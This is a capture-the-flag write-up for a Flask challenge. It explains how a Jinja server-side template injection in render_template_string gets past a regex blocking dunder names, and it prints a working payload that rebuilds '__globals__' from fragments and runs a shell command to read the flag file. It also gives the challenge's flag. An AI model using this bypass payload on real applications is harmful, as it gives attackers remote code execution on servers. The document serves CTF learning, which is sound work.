Temporary_Destruction
Challenge
Imported from local notes.md.
Solution
Original Notes
Temporary_Destruction
Challenge Summary
- Given: a Flask web application archive and a live instance at
http://23.179.17.92:5558. - Goal: recover the flag from the running service.
- Constraints: the app rejects inputs matching the regex
__\w+__, and the flag file is stored at/tmp/flag.txtin the container.
Initial Recon / Triage
- Observations: the app renders user-controlled input with
render_template_string(raw_input), which is a direct Jinja SSTI sink. - File identification: the vulnerable logic is in
starting_files/extracted/temporary-destruction/app.py. - Entry points:
POST /with form fielduser_input.
Hypotheses & Approach
- Hypothesis 1: the intended vulnerability is server-side template injection through
render_template_string. - Hypothesis 2: the blacklist only blocks literal dunder tokens like
__globals__, so reconstructing them dynamically should bypass the filter.
Execution Steps (Reproducible)
Stage 1
Commands:
cd /root/cit2026CTF/Temporary_Destruction/starting_files
sha1sum temporary-destruction.zip
unzip -o temporary-destruction.zip -d extracted
Results:
- The archive hash matched the challenge prompt:
f03edd0e2d6a6a41916605ae0f7b3ba479e317d6. - Reading
app.pyshowed the sink:
if BLOCKED.search(raw_input):
output = 'rejected.'
else:
output = render_template_string(raw_input)
Stage 2
Commands:
cd /root/cit2026CTF/Temporary_Destruction
python3 artifacts/exploit.py
Results:
- The exploit rebuilt
__globals__at runtime using"_"*2fragments to avoid the regex filter. - Using
lipsum.__globals__["os"].popen("cat /tmp/flag.txt").read()through Jinja returned the flag.
Exploit payload:
{{lipsum|attr(["_"*2,"globals","_"*2]|join)|attr("get")("os")|attr("popen")("cat /tmp/flag.txt")|attr("read")()}}
Artifacts Produced
artifacts/fetch_files.py: helper used to pull challenge metadata and the source archive.artifacts/exploit.py: reproducible SSTI exploit for the live service.artifacts/live_response.html: full HTML response containing the rendered flag.artifacts/live_result.json: captured status code, payload, and extracted flag.
Flag
CIT{55T1_R3m0t3_C0d3_3x3cut1on}